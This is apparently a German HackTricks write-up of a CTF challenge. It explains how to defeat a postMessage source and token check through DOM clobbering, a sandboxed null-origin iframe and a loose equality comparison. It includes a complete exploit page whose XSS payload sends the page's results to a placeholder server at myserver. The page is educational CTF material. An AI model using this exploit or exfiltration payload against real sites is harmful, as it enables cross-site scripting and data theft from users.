Bypassing SOP with Iframes - 2
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Iframes in SOP-2
In der Lösung für diese Herausforderung, @Strellic_ schlägt eine ähnliche Methode wie im vorherigen Abschnitt vor. Lass es uns überprüfen.
In dieser Herausforderung muss der Angreifer bypassen:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
Wenn er das tut, kann er eine postmessage mit HTML-Inhalt senden, die auf der Seite mit innerHTML ohne Sanitierung (XSS) geschrieben wird.
Der Weg, die erste Überprüfung zu umgehen, besteht darin, window.calc.contentWindow auf undefined und e.source auf null zu setzen:
window.calc.contentWindowist tatsächlichdocument.getElementById("calc"). Sie könnendocument.getElementByIdmit<img name=getElementById />überschreiben (beachten Sie, dass die Sanitizer API -hier- nicht konfiguriert ist, um gegen DOM-Clobbering-Angriffe in ihrem Standardzustand zu schützen).- Daher können Sie
document.getElementById("calc")mit<img name=getElementById /><div id=calc></div>überschreiben. Dann wirdwindow.calcundefinedsein. - Jetzt müssen wir
e.sourceaufundefinedodernullsetzen (weil==anstelle von===verwendet wird, istnull == undefinedTrue). Dies zu erreichen ist "einfach". Wenn Sie ein iframe erstellen und eine postMessage von ihm senden und das iframe sofort entfernen, wirde.originnullsein. Überprüfen Sie den folgenden Code.
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
Um die zweite Überprüfung bezüglich des Tokens zu umgehen, sendet man token mit dem Wert null und setzt den Wert von window.token auf undefined:
- Das Senden von
tokenin der postMessage mit dem Wertnullist trivial. window.tokenwird in der FunktiongetCookieverwendet, diedocument.cookienutzt. Beachten Sie, dass jeder Zugriff aufdocument.cookieinnullUrsprungsseiten einen Fehler auslöst. Dies führt dazu, dasswindow.tokenden Wertundefinedhat.
Die endgültige Lösung von @terjanq ist die folgende:
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks